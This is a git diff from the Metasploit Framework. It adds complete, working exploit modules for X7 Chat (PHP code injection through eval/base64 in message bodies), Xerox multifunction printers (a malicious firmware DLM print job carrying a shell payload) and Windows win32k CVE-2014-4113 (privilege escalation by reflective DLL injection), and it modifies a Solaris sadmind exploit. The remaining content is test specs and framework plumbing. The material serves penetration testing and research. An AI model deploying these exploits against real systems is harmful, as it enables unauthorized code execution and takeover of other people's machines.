# fetch the output of our job id as csv for easy parsing
|
||||
print_status("Fetching job_output for id #{job_id}")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
|
||||
send_request_raw(
|
||||
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
|
||||
'method' => 'GET',
|
||||
'cookie' => @auth_cookies,
|
||||
'encode_param' => 'false'
|
||||
})
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,193 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a post-auth vulnerability found in X7 Chat versions
|
||||
2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
|
||||
uses preg_replace() function with the /e modifier. This allows a remote
|
||||
authenticated attacker to execute arbitrary PHP code in the remote machine.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
|
||||
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
# Using this URL because isn't nothing else atm
|
||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Generic (PHP Payload)', {}]],
|
||||
'DisclosureDate' => 'Oct 27 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
|
||||
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
|
||||
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = exec_php('phpinfo(); die();', true)
|
||||
|
||||
if res && res.body =~ /This program makes use of the Zend/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def exec_php(php_code, is_check = false)
|
||||
|
||||
# remove comments, line breaks and spaces of php_code
|
||||
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
|
||||
|
||||
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
|
||||
while Rex::Text.encode_base64(payload_clean) =~ /=/
|
||||
payload_clean = "#{ payload_clean } "
|
||||
end
|
||||
payload_b64 = Rex::Text.encode_base64(payload_clean)
|
||||
|
||||
cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
|
||||
cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
|
||||
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
|
||||
|
||||
print_status("Trying for version 2.0.2 up to 2.0.5.1")
|
||||
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'headers' => {
|
||||
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
|
||||
},
|
||||
'vars_get' => {
|
||||
# value compatible with 2.0.2 up to 2.0.5.1
|
||||
'act' => 'user_cp',
|
||||
'cp_page' => 'msgcenter',
|
||||
'to' => datastore['USERNAME'],
|
||||
'subject' => rand_text,
|
||||
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Sending the message (#{ rand_text }) has failed")
|
||||
return false
|
||||
end
|
||||
|
||||
if res.body =~ /([0-9]*)">#{ rand_text }/
|
||||
message_id = Regexp.last_match[1]
|
||||
user_panel = 'user_cp'
|
||||
else
|
||||
print_error("Could not find message (#{ rand_text }) in the message list")
|
||||
|
||||
print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
|
||||
print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'headers' => {
|
||||
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
|
||||
},
|
||||
'vars_get' => {
|
||||
# value compatible with 2.0.0 up to 2.0.1 a1
|
||||
'act' => 'usercp',
|
||||
'cp_page' => 'msgcenter',
|
||||
'to' => datastore['USERNAME'],
|
||||
'subject' => rand_text,
|
||||
'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Sending the message (#{ rand_text }) has failed")
|
||||
return false
|
||||
end
|
||||
|
||||
if res.body =~ /([0-9]*)">#{ rand_text }/
|
||||
message_id = Regexp.last_match[1]
|
||||
user_panel = 'usercp'
|
||||
else
|
||||
print_error("Could not find message (#{ rand_text }) in the message list")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Accessing message (#{ rand_text })")
|
||||
print_status("Sending payload in HTTP header '#{ rand_text }'")
|
||||
|
||||
if is_check
|
||||
timeout = 20
|
||||
else
|
||||
timeout = 3
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'headers' => {
|
||||
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
|
||||
rand_text => payload_b64,
|
||||
},
|
||||
'vars_get' => {
|
||||
'act' => user_panel,
|
||||
'cp_page' => 'msgcenter',
|
||||
'read' => message_id,
|
||||
}
|
||||
}, timeout)
|
||||
|
||||
res_payload = res
|
||||
|
||||
print_status("Deleting message (#{ rand_text })")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'headers' => {
|
||||
'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
|
||||
},
|
||||
'vars_get' => {
|
||||
'act' => user_panel,
|
||||
'cp_page' => 'msgcenter',
|
||||
'delete' => message_id,
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.body =~ /The message has been deleted/
|
||||
print_good("Message (#{ rand_text }) removed")
|
||||
else
|
||||
print_error("Removing message (#{ rand_text }) has failed")
|
||||
return false
|
||||
end
|
||||
|
||||
# if check return the response
|
||||
if is_check
|
||||
return res_payload
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless exec_php(payload.encoded)
|
||||
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
Vulnerable systems include solaris 2.7, 8, and 9
|
||||
},
|
||||
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz' ],
|
||||
'Author' => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz', 'midnitesnake' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
@ -35,9 +35,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00",
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true,
|
||||
'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
|
@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
hostname = datastore['HOSTNAME']
|
||||
end
|
||||
|
||||
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
|
||||
response = sadmind_request(hostname, payload.encoded)
|
||||
sunrpc_destroy
|
||||
|
||||
|
|
|
@ -0,0 +1,98 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
Rank = GoodRanking
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Xerox Multifunction Printers (MFP) "Patch" DLM Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Xerox Multifunction Printers (MFP). By
|
||||
supplying a modified Dynamic Loadable Module (DLM), it is possible to execute arbitrary
|
||||
commands under root priviages.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Deral "Percentx" Heiland',
|
||||
'Pete "Bokojan" Arzamendi'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['BID', '52483'],
|
||||
['URL', 'http://www.xerox.com/download/security/security-bulletin/1284332-2ddc5-4baa79b70ac40/cert_XRX12-003_v1.1.pdf'],
|
||||
['URL', 'http://foofus.net/goons/percx/Xerox_hack.pdf']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'License' => MSF_LICENSE,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 512,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic bash-tcp'
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DisclosureDate' => 'Mar 07 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9100)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{rhost}:#{rport} - Sending print job...")
|
||||
firmcode = '%%XRXbegin' + "\x0A"
|
||||
firmcode << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"
|
||||
firmcode << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"
|
||||
firmcode << '%%OID_ATT_JOB_COMMENT "PraedaPWN2014:' + "#{payload.encoded}" + ':"' + "\x0A"
|
||||
firmcode << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"
|
||||
firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
|
||||
firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
|
||||
firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A"
|
||||
firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
|
||||
firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED"
|
||||
firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74"
|
||||
firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A"
|
||||
firmcode << "\xD7\xCC\xB4\xD3\x1D\xF6\xE1\x8D\xDD\x64\xB8\x83\x3B\x0D\x11\xFE"
|
||||
firmcode << "\xBF\x43\x03\xAF\x2F\xEF\xBD\xB4\x64\xA3\xAD\xD9\x8C\xDA\xD2\x3B"
|
||||
firmcode << "\xA3\xD0\xB9\x19\x8F\xFB\xD5\x39\x5E\xC3\x58\x4E\xBC\x48\xC6\x52"
|
||||
firmcode << "\x5E\x87\xE3\x89\x8C\xBD\x30\x8A\xE4\x44\x7A\x08\xCF\x39\xD4\xB7"
|
||||
firmcode << "\x75\xDB\x29\x0B\x78\xD6\x98\xEE\xB7\xBC\x53\xEF\xFF\xA9\xCB\x0B"
|
||||
firmcode << "\xB1\xA8\x1A\xB1\x50\x6D\xE9\x17\x55\x9D\xA4\x2F\x56\xAF\x10\xD4"
|
||||
firmcode << "\x08\x1E\x30\x9C\x59\xA5\x73\x35\x7B\x7A\x94\x61\x14\x0F\x21\xDE"
|
||||
firmcode << "\x95\x15\xED\xCA\x98\x5A\x34\x99\x68\x74\x27\x5E\xCD\x62\x7A\x35"
|
||||
firmcode << "\x8A\x52\xBF\x2A\xF0\x8C\xA0\xC0\xC0\xD5\xC0\xDC\xEF\x4A\xDD\xF8"
|
||||
firmcode << "\xC0\x47\x59\xD5\x1A\x56\xAB\x1C\x75\xD5\x68\x17\xC9\x8D\x7B\x00"
|
||||
firmcode << "\x3A\x2B\x0D\x06\x5F\x31\x6C\xB1\xEB\xF8\x06\xFC\x68\xD7\xE7\xF5"
|
||||
firmcode << "\x65\x07\xF7\x48\x12\x84\x98\xDF\x62\x5F\x17\xC8\xCC\x72\xA9\x9A"
|
||||
firmcode << "\x3C\x49\x0F\x95\xB6\xD9\xBA\x43\x90\x4F\xDD\x18\x32\xED\x93\x8A"
|
||||
firmcode << "\xAA\xEF\xE8\x9A\xDC\xF5\x83\xF9\xBB\xE4\xFD\xDE\xED\xE1\xE0\x76"
|
||||
firmcode << "\x89\x91\xD8\xEC\x6F\x82\xFB\x0C\xFE\x5F\xFF\x15\x22\x22\x22\x22"
|
||||
firmcode << "\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\x22\xA2\xD3\x3E"
|
||||
firmcode << "\x01\x5A\x18\x54\xBB\x00\x28\x00\x00"
|
||||
|
||||
begin
|
||||
connect
|
||||
sock.put(firmcode)
|
||||
handler
|
||||
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse => e
|
||||
print_error("#{rhost}:#{rport} - #{e.message}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,155 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/windows/reflective_dll_injection'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
|
||||
'Description' => %q{
|
||||
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
|
||||
can be triggered through the use of TrackPopupMenu. Under special conditions, the
|
||||
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
|
||||
code execution. This module has been tested successfully on Windows XP SP3, Windows
|
||||
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
|
||||
2008 R2 SP1 64 bits.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'juan vazquez', # msf module (x86 target)
|
||||
'Spencer McIntyre', # msf module (x64 target)
|
||||
'OJ Reeves <oj[at]buffered.io>'
|
||||
],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on (32 bits):
|
||||
# * Windows XP SP3
|
||||
# * Windows 2003 SP2
|
||||
# * Windows 7 SP1
|
||||
# * Windows 2008
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
# Tested on (64 bits):
|
||||
# * Windows 7 SP1
|
||||
# * Windows 2008 R2 SP1
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4113'],
|
||||
['OSVDB', '113167'],
|
||||
['BID', '70364'],
|
||||
['MSB', 'MS14-058'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 14 2014',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
|
||||
if os !~ /windows/i
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] =~ /(wow|x)64/i
|
||||
arch = ARCH_X86_64
|
||||
elsif sysinfo["Architecture"] =~ /x86/i
|
||||
arch = ARCH_X86
|
||||
end
|
||||
|
||||
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
|
||||
# Neither target suports Windows 8 or 8.1
|
||||
return Exploit::CheckCode::Safe if build == 9200
|
||||
return Exploit::CheckCode::Safe if build == 9600
|
||||
|
||||
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
|
||||
elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
|
||||
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
|
||||
end
|
||||
|
||||
print_status('Launching notepad to host the exploit...')
|
||||
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
|
||||
begin
|
||||
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{process.pid} launched.")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
# Reader Sandbox won't allow to create a new process:
|
||||
# stdapi_sys_process_execute: Operation failed: Access is denied.
|
||||
print_status('Operation failed. Trying to elevate the current process...')
|
||||
process = client.sys.process.open
|
||||
end
|
||||
|
||||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||
if target.arch.first == ARCH_X86
|
||||
dll_file_name = 'cve-2014-4113.x86.dll'
|
||||
else
|
||||
dll_file_name = 'cve-2014-4113.x64.dll'
|
||||
end
|
||||
|
||||
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
|
||||
library_path = ::File.expand_path(library_path)
|
||||
|
||||
print_status("Injecting exploit into #{process.pid}...")
|
||||
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||
|
||||
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
||||
payload_mem = inject_into_process(process, payload.encoded)
|
||||
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
# we want invoked on successful exploitation.
|
||||
print_status('Payload injected. Executing exploit...')
|
||||
process.thread.create(exploit_mem + offset, payload_mem)
|
||||
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/buffalo'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Buffalo do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/mybook_live'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::MyBookLive do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
end
|
|
@ -38,6 +38,7 @@ end
|
|||
REF_TYPES = %w(CVE BID OSVDB EDB)
|
||||
|
||||
describe Msf::Module do
|
||||
|
||||
it { is_expected.to respond_to :[] }
|
||||
it { is_expected.to respond_to :[]= }
|
||||
it { is_expected.to respond_to :alias }
|
||||
|
@ -50,8 +51,6 @@ describe Msf::Module do
|
|||
it { is_expected.to respond_to :compat }
|
||||
it { is_expected.to respond_to :compatible? }
|
||||
it { is_expected.to respond_to :debugging? }
|
||||
it { is_expected.to respond_to :deregister_options }
|
||||
it { is_expected.to respond_to :derived_implementor? }
|
||||
it { is_expected.to respond_to :description }
|
||||
it { is_expected.to respond_to :disclosure_date }
|
||||
it { is_expected.to respond_to :each_arch }
|
||||
|
@ -62,20 +61,7 @@ describe Msf::Module do
|
|||
it { is_expected.to respond_to :file_path }
|
||||
it { is_expected.to respond_to :framework }
|
||||
it { is_expected.to respond_to :fullname }
|
||||
it { is_expected.to respond_to :generate_uuid }
|
||||
it { is_expected.to respond_to :import_defaults }
|
||||
it { is_expected.to respond_to :info_fixups }
|
||||
it { is_expected.to respond_to :init_compat }
|
||||
it { is_expected.to respond_to :merge_check_key }
|
||||
it { is_expected.to respond_to :merge_info }
|
||||
it { is_expected.to respond_to :merge_info_advanced_options }
|
||||
it { is_expected.to respond_to :merge_info_alias }
|
||||
it { is_expected.to respond_to :merge_info_description }
|
||||
it { is_expected.to respond_to :merge_info_evasion_options }
|
||||
it { is_expected.to respond_to :merge_info_name }
|
||||
it { is_expected.to respond_to :merge_info_options }
|
||||
it { is_expected.to respond_to :merge_info_string }
|
||||
it { is_expected.to respond_to :merge_info_version }
|
||||
it { is_expected.to respond_to :name }
|
||||
it { is_expected.to respond_to :nop? }
|
||||
it { is_expected.to respond_to :orig_cls }
|
||||
|
@ -96,19 +82,14 @@ describe Msf::Module do
|
|||
it { is_expected.to respond_to :rank_to_h }
|
||||
it { is_expected.to respond_to :rank_to_s }
|
||||
it { is_expected.to respond_to :refname }
|
||||
it { is_expected.to respond_to :register_advanced_options }
|
||||
it { is_expected.to respond_to :register_evasion_options }
|
||||
it { is_expected.to respond_to :register_options }
|
||||
it { is_expected.to respond_to :register_parent }
|
||||
it { is_expected.to respond_to :replicant }
|
||||
it { is_expected.to respond_to :set_defaults }
|
||||
it { is_expected.to respond_to :share_datastore }
|
||||
it { is_expected.to respond_to :shortname }
|
||||
it { is_expected.to respond_to :support_ipv6? }
|
||||
it { is_expected.to respond_to :target_host }
|
||||
it { is_expected.to respond_to :target_port }
|
||||
it { is_expected.to respond_to :type }
|
||||
it { is_expected.to respond_to :update_info }
|
||||
it { is_expected.to respond_to :validate }
|
||||
it { is_expected.to respond_to :vprint_debug }
|
||||
it { is_expected.to respond_to :vprint_error }
|
||||
|
@ -118,6 +99,34 @@ describe Msf::Module do
|
|||
it { is_expected.to respond_to :vprint_warning }
|
||||
it { is_expected.to respond_to :workspace }
|
||||
|
||||
[
|
||||
:deregister_options,
|
||||
:derived_implementor?,
|
||||
:generate_uuid,
|
||||
:info_fixups,
|
||||
:init_compat,
|
||||
:merge_check_key,
|
||||
:merge_info,
|
||||
:merge_info_advanced_options,
|
||||
:merge_info_alias,
|
||||
:merge_info_description,
|
||||
:merge_info_evasion_options,
|
||||
:merge_info_name,
|
||||
:merge_info_options,
|
||||
:merge_info_string,
|
||||
:merge_info_version,
|
||||
:register_advanced_options,
|
||||
:register_evasion_options,
|
||||
:register_options,
|
||||
:set_defaults,
|
||||
:update_info,
|
||||
|
||||
].each do |sym|
|
||||
it "should respond to protected method #{sym}" do
|
||||
expect { subject.respond_to?(sym, true) }.to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'CONSTANTS' do
|
||||
context 'UpdateableOptions' do
|
||||
subject(:updateable_options) {
|
||||
|
|
|
@ -224,11 +224,11 @@ describe Rex::Proto::Http::Client do
|
|||
cli.should respond_to :username
|
||||
cli.should respond_to :password
|
||||
cli.should respond_to :junk_pipeline
|
||||
# These are supposed to be protected
|
||||
cli.should respond_to :ssl
|
||||
cli.should respond_to :ssl_version
|
||||
cli.should respond_to :hostname
|
||||
cli.should respond_to :port
|
||||
# These are protected. Why are they protected? Hysterical raisins.
|
||||
#cli.should respond_to :ssl
|
||||
#cli.should respond_to :ssl_version
|
||||
#cli.should respond_to :hostname
|
||||
#cli.should respond_to :port
|
||||
end
|
||||
|
||||
# Not super sure why these are protected...
|
||||
|
|
|
@ -77,14 +77,14 @@ describe Rex::SSLScan::Scanner do
|
|||
end
|
||||
|
||||
it "should return an X509 cert if it can connect" do
|
||||
subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate
|
||||
subject.get_cert(:SSLv3, "AES256-SHA").should be_a OpenSSL::X509::Certificate
|
||||
end
|
||||
end
|
||||
|
||||
context "when scanning https://google.com" do
|
||||
it "should return a Result object" do
|
||||
result = subject.scan
|
||||
result.class.should == Rex::SSLScan::Result
|
||||
result.should be_a Rex::SSLScan::Result
|
||||
end
|
||||
|
||||
context "if SSLv2 is not available locally" do
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
|
||||
describe Rex::Text do
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,30 @@
|
|||
require 'spec_helper'
|
||||
|
||||
describe 'modules', :content do
|
||||
modules_pathname = Pathname.new(__FILE__).parent.parent.join('modules')
|
||||
|
||||
it_should_behave_like 'all modules with module type can be instantiated',
|
||||
module_type: 'auxiliary',
|
||||
modules_pathname: modules_pathname,
|
||||
type_directory: 'auxiliary'
|
||||
|
||||
it_should_behave_like 'all modules with module type can be instantiated',
|
||||
module_type: 'encoder',
|
||||
modules_pathname: modules_pathname,
|
||||
type_directory: 'encoders'
|
||||
|
||||
it_should_behave_like 'all modules with module type can be instantiated',
|
||||
module_type: 'exploit',
|
||||
modules_pathname: modules_pathname,
|
||||
type_directory: 'exploits'
|
||||
|
||||
it_should_behave_like 'all modules with module type can be instantiated',
|
||||
module_type: 'nop',
|
||||
modules_pathname: modules_pathname,
|
||||
type_directory: 'nops'
|
||||
|
||||
it_should_behave_like 'all modules with module type can be instantiated',
|
||||
module_type: 'post',
|
||||
modules_pathname: modules_pathname,
|
||||
type_directory: 'posts'
|
||||
end
|
|
@ -48,6 +48,8 @@ RSpec.configure do |config|
|
|||
# --seed 1234
|
||||
config.order = 'random'
|
||||
|
||||
config.treat_symbols_as_metadata_keys_with_true_values = true
|
||||
|
||||
# If you're not using ActiveRecord, or you'd prefer not to run each of your
|
||||
# examples within a transaction, remove the following line or assign false
|
||||
# instead of true.
|
||||
|
|
|
@ -0,0 +1,78 @@
|
|||
# Use along with `it_should_behave_like 'payload can be instantiated'` to detect if a payload under `:modules_pathname`
|
||||
# was not tested. If any payloads are untested, an error will be written to stderr and the names of untested payloads
|
||||
# will be logged to `log/untested-payloads.log`. This log is reset for run of context, so if there were previously
|
||||
# untested payloads and there aren't anymore, then `log/untested-payloads.log` will be deleted. Can be used with
|
||||
# {Metasploit::Framework::Spec::UntestedPayloads.define_task} so that the `spec` task fails if there are untested
|
||||
# payloads.
|
||||
#
|
||||
# @example Using 'untested payloads' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'payloads can be instantiated' shared examples
|
||||
# # Rakefile
|
||||
# require 'metasploit/framework/spec/untested_payloads'
|
||||
#
|
||||
# # defined spec task with rspec-rails
|
||||
# My::Application.load_tasks
|
||||
# # extends spec task to fail when there are untested payloads
|
||||
# Metasploit::Framework::Spec::UntestedPayloads.define_task
|
||||
#
|
||||
